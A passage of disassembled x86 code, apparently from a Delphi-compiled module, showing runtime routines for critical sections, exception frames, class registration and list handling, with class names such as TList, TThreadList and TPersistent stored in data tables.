mov ebp, esp
add esp, 0FFFFFFF8h
push ebx
push esi
push edi
mov esi, ecx
mov [ebp+var_4], edx
mov ebx, eax
mov edi, [ebp+arg_0]
cmp di, [ebx+4]
jz short loc_40012BDC
lea edx, [ebp+var_8]
movzx eax, word ptr [esi]
call sub_40012D98
test al, al
jz short loc_40012BDC
push edi
mov ecx, esi
mov edx, [ebp+var_4]
mov eax, [ebp+var_8]
mov ebx, [eax]
call dword ptr [ebx+1Ch]
jmp short loc_40012BE3
; ---------------------------------------------------------------------------
loc_40012BDC: ; CODE XREF: sub_40012BA4+17j
; sub_40012BA4+26j
mov eax, ebx
call sub_40012D18
loc_40012BE3: ; CODE XREF: sub_40012BA4+36j
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
retn 4
sub_40012BA4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40012BEC proc near ; DATA XREF: .text:4000D69Co
push ebp
mov ebp, esp
call sub_40012D20
pop ebp
retn 4
sub_40012BEC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40012BF8 proc near ; DATA XREF: .text:4000D698o
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, edx
mov esi, eax
lea eax, [ebp+var_1]
push eax
mov edx, edi
mov eax, esi
mov ebx, [eax]
call dword ptr [ebx+38h]
movzx eax, [ebp+var_1]
mov edx, [ebp+arg_0]
lea edx, [edx+edx*2]
add edx, offset dword_4001AA74
movzx eax, byte ptr [edx+eax-2Ah]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
retn 4
sub_40012BF8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40012C30 proc near ; DATA XREF: .text:4000D684o
var_14 = word ptr -14h
push ebx
push esi
push edi
push ebp
push ecx
mov esi, ecx
mov edi, edx
mov ebx, eax
mov ecx, esp
mov edx, esi
mov eax, ebx
mov ebp, [eax]
call dword ptr [ebp+0Ch]
test al, al
jz short loc_40012C5C
movzx eax, [esp+14h+var_14]
push eax
mov ecx, esi
mov edx, edi
mov eax, ebx
mov ebx, [eax]
call dword ptr [ebx+1Ch]
jmp short loc_40012C63
; ---------------------------------------------------------------------------
loc_40012C5C: ; CODE XREF: sub_40012C30+18j
mov eax, ebx
call sub_40012D18
loc_40012C63: ; CODE XREF: sub_40012C30+2Aj
pop edx
pop ebp
pop edi
pop esi
pop ebx
retn
sub_40012C30 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40012C6C proc near ; DATA XREF: .text:4000D660o
var_5 = byte ptr -5
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFF8h
call sub_40003FD8
mov [ebp+var_5], dl
mov [ebp+var_4], eax
push offset dword_4001F2AC
call sub_40006520 ; RtlEnterCriticalSection
xor edx, edx
push ebp
push offset loc_40012CCF
push dword ptr fs:[edx]
mov fs:[edx], esp
mov eax, [ebp+var_4]
movzx eax, word ptr [eax+4]
test ax, ax
jz short loc_40012CB7
movzx eax, ax
mov edx, ds:dword_4001F2A8
mov ecx, dword_4001AA1C
mov [edx+eax*4-400h], ecx
loc_40012CB7: ; CODE XREF: sub_40012C6C+33j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40012CD6
loc_40012CC4: ; CODE XREF: sub_40012C6C+68j
push offset dword_4001F2AC
call sub_400065E8 ; RtlLeaveCriticalSection
retn
; ---------------------------------------------------------------------------
loc_40012CCF: ; DATA XREF: sub_40012C6C+1Eo
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40012CC4
; ---------------------------------------------------------------------------
loc_40012CD6: ; DATA XREF: sub_40012C6C+53o
movzx edx, [ebp+var_5]
and dl, 0FCh
mov eax, [ebp+var_4]
call sub_40003CD8
cmp [ebp+var_5], 0
jle short loc_40012CF3
mov eax, [ebp+var_4]
call sub_40003F80
loc_40012CF3: ; CODE XREF: sub_40012C6C+7Dj
pop ecx
pop ecx
pop ebp
retn
sub_40012C6C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40012CF8 proc near ; DATA XREF: .text:4000D678o
xor eax, eax
retn
sub_40012CF8 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40012CFC proc near ; DATA XREF: .text:4000D668o
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov edx, [ebp+arg_0]
movzx eax, word ptr [eax+4]
mov [edx], ax
mov al, 1
pop ebp
retn 4
sub_40012CFC endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40012D10 proc near ; DATA XREF: .text:4000D670o
mov word ptr [ecx], 8
mov al, 1
retn
sub_40012D10 endp
; =============== S U B R O U T I N E =======================================
sub_40012D18 proc near ; CODE XREF: sub_40012B6C+2Ep
; sub_40012BA4+3Ap ...
call sub_4000DBA0
retn
sub_40012D18 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40012D20 proc near ; CODE XREF: sub_40012B60+3p
; sub_40012BEC+3p ...
call sub_4000DC90
retn
sub_40012D20 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40012D28 proc near ; CODE XREF: sub_40012D4C+3p
call sub_4000E0EC
retn
sub_40012D28 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40012D30 proc near ; DATA XREF: .text:4000D66Co
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov edx, [ebp+arg_0]
movzx eax, word ptr [eax+4]
mov [edx], ax
mov al, 1
pop ebp
retn 4
sub_40012D30 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40012D44 proc near ; DATA XREF: .text:4000D694o
call sub_40012D20
retn
sub_40012D44 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40012D4C proc near ; DATA XREF: .text:4000D674o
push ebp
mov ebp, esp
call sub_40012D28
pop ebp
retn 8
sub_40012D4C endp
; ---------------------------------------------------------------------------
loc_40012D58: ; CODE XREF: .text:4000D5DBj
push ebp
mov ebp, esp
or eax, 0FFFFFFFFh
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 4
loc_40012D64: ; CODE XREF: .text:4000D5E5j
push ebp
mov ebp, esp
or eax, 0FFFFFFFFh
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40012D70 proc near ; DATA XREF: .text:off_4000D664o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_0]
mov ecx, [ebp+arg_8]
mov edx, [ebp+arg_4]
mov eax, ebx
call sub_40003D9C
test al, al
jz short loc_40012D8C
xor eax, eax
jmp short loc_40012D91
; ---------------------------------------------------------------------------
loc_40012D8C: ; CODE XREF: sub_40012D70+16j
mov eax, 80004002h
loc_40012D91: ; CODE XREF: sub_40012D70+1Aj
pop ebx
pop ebp
retn 0Ch
sub_40012D70 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40012D98 proc near ; CODE XREF: sub_4000E35C+56p
; sub_4000E654+80p ...
var_1 = byte ptr -1
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
cmp ds:dword_4001F2A8, 0
jz short loc_40012DBA
cmp bx, 100h
jb short loc_40012DBA
cmp bx, 7FFh
jbe short loc_40012DBE
loc_40012DBA: ; CODE XREF: sub_40012D98+12j
; sub_40012D98+19j
xor eax, eax
jmp short loc_40012DC0
; ---------------------------------------------------------------------------
loc_40012DBE: ; CODE XREF: sub_40012D98+20j
mov al, 1
loc_40012DC0: ; CODE XREF: sub_40012D98+24j
mov [ebp+var_1], al
cmp [ebp+var_1], 0
jz short loc_40012E47
push offset dword_4001F2AC
call sub_40006520 ; RtlEnterCriticalSection
xor eax, eax
push ebp
push offset loc_40012E40
push dword ptr fs:[eax]
mov fs:[eax], esp
mov eax, ds:dword_4001F2A8
call sub_4000596C
movzx edi, bx
mov edx, edi
sub edx, 100h
cmp eax, edx
setnle [ebp+var_1]
cmp [ebp+var_1], 0
jz short loc_40012E28
mov eax, ds:dword_4001F2A8
mov eax, [eax+edi*4-400h]
mov [esi], eax
cmp dword ptr [esi], 0
jz short loc_40012E1F
mov eax, [esi]
cmp eax, dword_4001AA1C
jnz short loc_40012E23
loc_40012E1F: ; CODE XREF: sub_40012D98+7Bj
xor eax, eax
jmp short loc_40012E25
; ---------------------------------------------------------------------------
loc_40012E23: ; CODE XREF: sub_40012D98+85j
mov al, 1
loc_40012E25: ; CODE XREF: sub_40012D98+89j
mov [ebp+var_1], al
loc_40012E28: ; CODE XREF: sub_40012D98+68j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40012E47
loc_40012E35: ; CODE XREF: sub_40012D98+ADj
push offset dword_4001F2AC
call sub_400065E8 ; RtlLeaveCriticalSection
retn
; ---------------------------------------------------------------------------
loc_40012E40: ; DATA XREF: sub_40012D98+3Eo
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40012E35
; ---------------------------------------------------------------------------
loc_40012E47: ; CODE XREF: sub_40012D98+2Fj
; DATA XREF: sub_40012D98+98o
movzx eax, [ebp+var_1]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
retn
sub_40012D98 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40012E54 proc near ; DATA XREF: .text:40018380o
push ebp
mov ebp, esp
xor eax, eax
push ebp
push offset loc_40012EC3
push dword ptr fs:[eax]
mov fs:[eax], esp
inc ds:dword_4001F2A4
jnz short loc_40012EB5
call sub_40012AF4
push offset dword_4001F2AC
call sub_40006518 ; RtlDeleteCriticalSection
mov eax, offset dword_4001F284
call sub_4000E3EC
mov eax, offset dword_4001AA14
call sub_40004884
mov eax, offset off_4001AA20
mov ecx, 15h
mov edx, ds:off_40001000
call sub_40005314
mov eax, offset dword_4001F2A8
mov edx, ds:off_40012AD0
call sub_40005B34
loc_40012EB5: ; CODE XREF: sub_40012E54+17j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40012ECA
loc_40012EC2: ; CODE XREF: sub_40012E54+74j
retn
; ---------------------------------------------------------------------------
loc_40012EC3: ; DATA XREF: sub_40012E54+6o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40012EC2
; ---------------------------------------------------------------------------
loc_40012ECA: ; CODE XREF: sub_40012E54:loc_40012EC2j
; DATA XREF: sub_40012E54+69o
pop ebp
retn
sub_40012E54 endp
; ---------------------------------------------------------------------------
off_40012ECC dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AFACo
dd 0FFAAh
dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF90o
dd 0FFABh
dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF7Co
dd 0FFACh
off_40012EE4 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AFE4o
dd 0FFADh
off_40012EEC dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AFA0o
dd 0FFAEh
dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B05Co
dd 0FFAFh
dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B0D4o
db 90h
db 0FFh, 2 dup(0)
dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AFCCo
dd 0FF91h, 0FFFFFFFFh, 5
aFalse_0 db 'False',0 ; DATA XREF: .data:off_4001AA88o
align 4
dword_40012F1C dd 0FFFFFFFFh, 4, 65757254h, 0 dd 0FFFFFFFFh, 1
dword_40012F34 dd 2Eh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40012F38 proc near ; DATA XREF: .text:40018390o
push ebp
mov ebp, esp
xor eax, eax
push ebp
push offset loc_40012F7E
push dword ptr fs:[eax]
mov fs:[eax], esp
inc ds:dword_4001F2C4
jnz short loc_40012F70
mov eax, offset off_4001AA88
mov ecx, 2
mov edx, ds:off_40001000
call sub_40005314
mov eax, offset off_4001AA90
call sub_40004884
loc_40012F70: ; CODE XREF: sub_40012F38+17j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40012F85
loc_40012F7D: ; CODE XREF: sub_40012F38+4Bj
retn
; ---------------------------------------------------------------------------
loc_40012F7E: ; DATA XREF: sub_40012F38+6o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40012F7D
; ---------------------------------------------------------------------------
loc_40012F85: ; CODE XREF: sub_40012F38:loc_40012F7Dj
; DATA XREF: sub_40012F38+40o
pop ebp
retn
sub_40012F38 endp
; ---------------------------------------------------------------------------
align 4
off_40012F88 dd offset dword_40012FD4 ; DATA XREF: sub_40013770+23r
dd 7 dup(0)
dd offset dword_40012FD4
dd 0Ch
dd offset off_40006DE0
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_40012FD4 dd 694C450Ah, 72457473h, 90726F72h ; .text:40012FA8o
off_40012FE0 dd offset dword_4001302C ; DATA XREF: sub_4001552C+36r
dd 7 dup(0)
dd offset dword_4001302C
dd 0Ch
dd offset off_40006DE0
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_4001302C dd 6E494511h, 696C6176h, 65704F64h, 69746172h, 0C08B6E6Fh
; DATA XREF: .text:off_40012FE0o
; .text:40013000o
off_40013040 dd offset off_4001308C ; DATA XREF: sub_4001326C+25r
; sub_400133D4+1Er ...
dd 7 dup(0)
dd offset dword_4001309C
dd 10h
dd offset off_4000101C
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_4001369C
off_4001308C dd offset loc_40013824 ; DATA XREF: .text:off_40013040o
dd offset nullsub_5
dd offset sub_400136F0
dd offset sub_40013770
dword_4001309C dd 694C5405h, 0C08B7473hoff_400130A4 dd offset dword_400130F0 ; DATA XREF: sub_400191F8+5Br
; sub_400191F8+6Cr ...
dd 7 dup(0)
dd offset dword_400130F0
dd 24h
dd offset off_4000101C
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_400139A0
dword_400130F0 dd 6854540Bh, 64616572h, 7473694Ch ; .text:400130C4o
dd offset off_40013148 ; DATA XREF: sub_400133D4+34r
dd 3 dup(0)
dd offset dword_40013174
dd 2 dup(0)
dd offset dword_40013154
dd offset word_40013162
dd 4
dd offset off_4000101C
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40013B14
off_40013148 dd offset loc_40013C24 ; DATA XREF: .text:400130FCo
; .text:40013181o
dd offset nullsub_6
dd offset sub_40013B40
dword_40013154 dd 0FFFF0002h db 0FEh, 0FFh
dd offset loc_40013CE0
dd offset sub_40013C30
word_40013162 dw 540Bh ; DATA XREF: .text:4001311Co
dd 73726550h, 65747369h, 0C08B746Eh
dd offset dword_40013174
dword_40013174 dd 50540B07h, 69737265h, 6E657473h ; .text:40013170o
db 74h
dd offset off_40013148
dd offset off_40001070
db 2 dup(0), 7
aClasses db 'Classes',0
align 8
off_40013198 dd offset dword_4001319C ; DATA XREF: sub_40015C34+9Br
; sub_40015C34+B0r
dword_4001319C dd 49540E0Eh, 746E6564h, 4570614Dh, 7972746Eh, 8, 1
; DATA XREF: .text:off_40013198o
dd offset off_40001000
dd 4
off_400131BC dd offset dword_40013208 ; DATA XREF: sub_400133D4+3Cr
dd 7 dup(0)
dd offset dword_40013208
dd 14h
dd offset off_4000101C
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_400132C8
dword_40013208 dd 65525409h, 6F724767h, 0C08B7075h ; .text:400131DCo
off_40013214 dd offset dword_40013260 ; DATA XREF: sub_400191F8+4Ar
dd 7 dup(0)
dd offset dword_40013260
dd 24h
dd offset off_4000101C
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40013448
dword_40013260 dd 6552540Ah, 6F724767h, 90737075h ; .text:40013234o
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4001326C proc near ; CODE XREF: sub_400133D4+41p
var_1 = byte ptr -1
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
test dl, dl
jz short loc_4001327F
add esp, 0FFFFFFF0h
call sub_40003F30
loc_4001327F: ; CODE XREF: sub_4001326C+9j
mov edi, ecx
mov [ebp+var_1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call sub_40003CB8
mov dl, 1
mov eax, ds:off_40013040
call sub_40003CB8
mov esi, eax
mov [ebx+0Ch], esi
mov eax, esi
mov edx, edi
call sub_400136BC
mov eax, ebx
cmp [ebp+var_1], 0
jz short loc_400132C0
call sub_40003F88
pop large dword ptr fs:0
add esp, 0Ch
loc_400132C0: ; CODE XREF: sub_4001326C+43j
mov eax, ebx
pop edi
pop esi
pop ebx
pop ecx
pop ebp
retn
sub_4001326C endp
; =============== S U B R O U T I N E =======================================
sub_400132C8 proc near ; DATA XREF: .text:40013204o
push ebx
push esi
call sub_40003FD8
mov ebx, edx
mov esi, eax
mov edx, ebx
and dl, 0FCh
mov eax, esi
call sub_40003CD8
mov eax, [esi+4]
call sub_40003CE8
mov eax, [esi+8]
call sub_40003CE8
mov eax, [esi+0Ch]
call sub_40003CE8
test bl, bl
jle short loc_40013302
mov eax, esi
call sub_40003F80
loc_40013302: ; CODE XREF: sub_400132C8+31j
pop esi
pop ebx
retn
sub_400132C8 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40013308 proc near ; CODE XREF: sub_40013328+1Fp
; sub_40013328+54p ...
push ebx
push esi
mov ebx, edx
mov esi, eax
test ebx, ebx
jz short loc_40013322
mov eax, esi
call sub_40005B98
cmp ebx, eax
jz short loc_40013322
xor eax, eax
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40013322: ; CODE XREF: sub_40013308+8j
; sub_40013308+13j
mov al, 1
pop esi
pop ebx
retn
sub_40013308 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40013328 proc near ; CODE XREF: sub_400134C0+24p
push ebx
push esi
push edi
mov edi, edx
mov esi, eax
mov eax, [esi+0Ch]
mov ebx, [eax+8]
dec ebx
cmp ebx, 0
jl short loc_40013360
loc_4001333B: ; CODE XREF: sub_40013328+36j
mov edx, ebx
mov eax, [esi+0Ch]
call sub_400137FC
mov edx, edi
call sub_40013308
test al, al
jz short loc_4001335A
mov edx, ebx
mov eax, [esi+0Ch]
call sub_40013708
loc_4001335A: ; CODE XREF: sub_40013328+26j
dec ebx
cmp ebx, 0FFFFFFFFh
jnz short loc_4001333B
loc_40013360: ; CODE XREF: sub_40013328+11j
mov eax, [esi+4]
test eax, eax
jz short loc_40013395
mov ebx, [eax+8]
dec ebx
cmp ebx, 0
jl short loc_40013395
loc_40013370: ; CODE XREF: sub_40013328+6Bj
mov edx, ebx
mov eax, [esi+4]
call sub_400137FC
mov edx, edi
call sub_40013308
test al, al
jz short loc_4001338F
mov edx, ebx
mov eax, [esi+4]
call sub_40013708
loc_4001338F: ; CODE XREF: sub_40013328+5Bj
dec ebx
cmp ebx, 0FFFFFFFFh
jnz short loc_40013370
loc_40013395: ; CODE XREF: sub_40013328+3Dj
; sub_40013328+46j
mov ebx, [esi+8]
test ebx, ebx
jz short loc_400133D0
mov eax, ebx
mov edx, [eax]
call dword ptr [edx+14h]
dec eax
cmp eax, 0
jl short loc_400133D0
mov ebx, eax
loc_400133AB: ; CODE XREF: sub_40013328+A6j
mov edx, ebx
mov eax, [esi+8]
mov ecx, [eax]
call dword ptr [ecx+18h]
mov edx, edi
call sub_40013308
test al, al
jz short loc_400133CA
mov edx, ebx
mov eax, [esi+8]
mov ecx, [eax]
call dword ptr [ecx+48h]
loc_400133CA: ; CODE XREF: sub_40013328+96j
dec ebx
cmp ebx, 0FFFFFFFFh
jnz short loc_400133AB
loc_400133D0: ; CODE XREF: sub_40013328+72j
; sub_40013328+7Fj
pop edi
pop esi
pop ebx
retn
sub_40013328 endp
; =============== S U B R O U T I N E =======================================
sub_400133D4 proc near ; CODE XREF: sub_400191F8+4Fp
push ebx
push esi
push edi
test dl, dl
jz short loc_400133E3
add esp, 0FFFFFFF0h
call sub_40003F30
loc_400133E3: ; CODE XREF: sub_400133D4+5j
mov ebx, edx
mov edi, eax
xor edx, edx
mov eax, edi
call sub_40003CB8
mov dl, 1
mov eax, ds:off_40013040
call sub_40003CB8
mov [edi+4], eax
lea eax, [edi+8]
push eax
call sub_400065E0 ; InitializeCriticalSection
mov ecx, ds:off_400130FC
mov dl, 1
mov eax, ds:off_400131BC
call sub_4001326C
mov esi, eax
mov eax, [edi+4]
mov edx, esi
call sub_400136BC
mov byte ptr [esi+10h], 1
mov eax, edi
test bl, bl
jz short loc_4001343F
call sub_40003F88
pop large dword ptr fs:0
add esp, 0Ch
loc_4001343F: ; CODE XREF: sub_400133D4+5Aj
mov eax, edi
pop edi
pop esi
pop ebx
retn
sub_400133D4 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40013448 proc near ; DATA XREF: .text:4001325Co
push ebx
push esi
push edi
push ebp
call sub_40003FD8
mov ebx, edx
mov ebp, eax
lea eax, [ebp+8]
push eax
call sub_40006518 ; RtlDeleteCriticalSection
mov eax, [ebp+4]
test eax, eax
jz short loc_40013483
mov esi, [eax+8]
dec esi
test esi, esi
jl short loc_40013483
inc esi
xor edi, edi
loc_40013470: ; CODE XREF: sub_40013448+39j
mov eax, [ebp+4]
mov edx, edi
call sub_400137FC
call sub_40003CE8
inc edi
dec esi
jnz short loc_40013470
loc_40013483: ; CODE XREF: sub_40013448+1Bj
; sub_40013448+23j
mov eax, [ebp+4]
call sub_40003CE8
mov edx, ebx
and dl, 0FCh
mov eax, ebp
call sub_40003CD8
test bl, bl
jle short loc_400134A2
mov eax, ebp
call sub_40003F80
loc_400134A2: ; CODE XREF: sub_40013448+51j
pop ebp
pop edi
pop esi
pop ebx
retn
sub_40013448 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400134A8 proc near ; CODE XREF: sub_40013510+Bp
add eax, 8
push eax
call sub_40006520 ; RtlEnterCriticalSection
retn
sub_400134A8 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400134B4 proc near ; CODE XREF: sub_40013510+3Cp
add eax, 8
push eax
call sub_400065E8 ; RtlLeaveCriticalSection
retn
sub_400134B4 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_400134C0 proc near ; CODE XREF: sub_40013510+25p
push ebx
push esi
push edi
push ebp
mov ebp, edx
mov edi, eax
mov eax, [edi+4]
mov ebx, [eax+8]
dec ebx
cmp ebx, 0
jl short loc_40013509
loc_400134D4: ; CODE XREF: sub_400134C0+47j
mov eax, [edi+4]
mov edx, ebx
call sub_400137FC
mov esi, eax
mov edx, ebp
mov eax, esi
call sub_40013328
mov eax, [esi+0Ch]
cmp dword ptr [eax+8], 0
jnz short loc_40013503
mov eax, esi
call sub_40003CE8
mov eax, [edi+4]
mov edx, ebx
call sub_40013708
loc_40013503: ; CODE XREF: sub_400134C0+30j
dec ebx
cmp ebx, 0FFFFFFFFh
jnz short loc_400134D4
loc_40013509: ; CODE XREF: sub_400134C0+12j
pop ebp
pop edi
pop esi
pop ebx
retn
sub_400134C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40013510 proc near ; CODE XREF: sub_40013ECCp
; sub_40013ED4+1Ep
push ebp
mov ebp, esp
push ebx
mov ebx, eax
mov eax, ds:dword_4001F2D8
call sub_400134A8
xor eax, eax
push ebp
push offset loc_40013552
push dword ptr fs:[eax]
mov fs:[eax], esp
mov edx, ebx
mov eax, ds:dword_4001F2D8
call sub_400134C0
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40013559
loc_40013547: ; CODE XREF: sub_40013510+47j
mov eax, ds:dword_4001F2D8
call sub_400134B4
retn
; ---------------------------------------------------------------------------
loc_40013552: ; DATA XREF: sub_40013510+13o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40013547
; ---------------------------------------------------------------------------
loc_40013559: ; CODE XREF: sub_40013510+41j
; DATA XREF: sub_40013510+32o
pop ebx
pop ebp
retn
sub_40013510 endp
; ---------------------------------------------------------------------------
off_4001355C dd offset dword_400135A8 ; DATA XREF: sub_400135EC+Fr
dd 7 dup(0)
dd offset dword_400135A8
dd 10h
dd offset off_4000101C
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_400135A8 dd 6E495409h, 6E6F4374h, 0C08B7473h ; .text:4001357Co
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_400135B4 proc near ; CODE XREF: sub_400135EC+14p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
test dl, dl
jz short loc_400135C3
add esp, 0FFFFFFF0h
call sub_40003F30
loc_400135C3: ; CODE XREF: sub_400135B4+5j
mov [eax+4], ecx
mov ecx, [ebp+arg_4]
mov [eax+8], ecx
mov ecx, [ebp+arg_0]
mov [eax+0Ch], ecx
test dl, dl
jz short loc_400135E5
call sub_40003F88
pop large dword ptr fs:0
add esp, 0Ch
loc_400135E5: ; CODE XREF: sub_400135B4+20j
pop ebp
retn 8
sub_400135B4 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400135EC proc near ; CODE XREF: .itext:4001937Dp
; .itext:40019391p
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
push esi
push edi
mov ecx, ebx
mov dl, 1
mov eax, ds:off_4001355C
call sub_400135B4
mov edx, eax
mov eax, ds:dword_4001F2D4
call sub_40013A1C
pop edi
pop esi
pop ebx
retn
sub_400135EC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40013618 proc near ; CODE XREF: sub_40014D7C+7p
; .text:40014F57p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov [ebp+var_4], edx
mov edi, eax
mov esi, [ebp+arg_0]
test esi, esi
jl short loc_4001364E
inc esi
lea ebx, [ecx+4]
loc_4001362F: ; CODE XREF: sub_40013618+34j
mov edx, edi
mov eax, [ebx]
call sub_40007B90
test al, al
jz short loc_40013648
mov al, 1
mov edx, [ebp+var_4]
mov ecx, [ebx-4]
mov [edx], ecx
jmp short loc_40013650
; ---------------------------------------------------------------------------
loc_40013648: ; CODE XREF: sub_40013618+22j
add ebx, 8
dec esi
jnz short loc_4001362F
loc_4001364E: ; CODE XREF: sub_40013618+11j
xor eax, eax
loc_40013650: ; CODE XREF: sub_40013618+2Ej
pop edi
pop esi
pop ebx
pop ecx
pop ebp
retn 4
sub_40013618 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40013658 proc near ; CODE XREF: sub_40014D6C+7p
; .text:40014F47p
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFFF8h
push ebx
push esi
push edi
mov [ebp+var_4], ecx
mov edi, edx
mov esi, [ebp+arg_0]
test esi, esi
jl short loc_4001368B
inc esi
mov ebx, [ebp+var_4]
loc_40013671: ; CODE XREF: sub_40013658+31j
cmp eax, [ebx]
jnz short loc_40013685
mov [ebp+var_5], 1
mov eax, edi
mov edx, [ebx+4]
call sub_400048D8
jmp short loc_4001368F
; ---------------------------------------------------------------------------
loc_40013685: ; CODE XREF: sub_40013658+1Bj
add ebx, 8
dec esi
jnz short loc_40013671
loc_4001368B: ; CODE XREF: sub_40013658+13j
mov [ebp+var_5], 0
loc_4001368F: ; CODE XREF: sub_40013658+2Bj
movzx eax, [ebp+var_5]
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
retn 4
sub_40013658 endp
; =============== S U B R O U T I N E =======================================
sub_4001369C proc near ; DATA XREF: .text:40013088o
push ebx
push esi
call sub_40003FD8
mov ebx, edx
mov esi, eax
mov eax, esi
mov edx, [eax]
call dword ptr [edx+8]
test bl, bl
jle short loc_400136B9
mov eax, esi
call sub_40003F80
loc_400136B9: ; CODE XREF: sub_4001369C+14j
pop esi
pop ebx
retn
